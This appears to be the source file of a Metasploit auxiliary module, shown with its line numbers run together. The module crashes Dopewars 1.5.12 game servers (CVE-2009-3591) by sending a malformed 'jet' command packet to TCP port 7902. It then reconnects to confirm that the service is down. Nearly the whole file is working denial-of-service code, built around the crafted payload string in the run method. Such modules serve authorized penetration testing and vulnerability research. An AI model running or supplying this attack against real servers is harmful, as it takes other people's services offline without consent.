Path: blob/master/modules/auxiliary/dos/misc/dopewars.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::Tcp8include Msf::Auxiliary::Dos910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Dopewars Denial of Service',15'Description' => %q{16The jet command in Dopewars 1.5.12 is vulnerable to a segmentation fault due to17a lack of input validation.18},19'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ],20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2009-3591' ],23[ 'OSVDB', '58884' ],24[ 'BID', '36606' ]25],26'DisclosureDate' => '2009-10-05',27'Notes' => {28'Stability' => [CRASH_SERVICE_DOWN],29'SideEffects' => [],30'Reliability' => []31}32)33)3435register_options([Opt::RPORT(7902)])36end3738def run39# The jet command is vulnerable.40# Program received signal SIGSEGV, Segmentation fault.41# [Switching to Thread 0xb74916c0 (LWP 30638)]42# 0x08062f6e in HandleServerMessage (buf=0x8098828 "", Play=0x809a000) at43# serverside.c:52544# 525 dopelog(4, LF_SERVER, "%s jets to %s",45#46connect47pkt = "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"48print_status('Sending dos packet...')49sock.put(pkt)50disconnect5152print_status('Checking for success...')53select(nil, nil, nil, 2)54begin55connect56rescue ::Interrupt57raise $ERROR_INFO58rescue ::Rex::ConnectionRefused59print_good('Dopewars server successfully shut down!')60else61print_error('DOS attack unsuccessful')62ensure63disconnect64end65end66end676869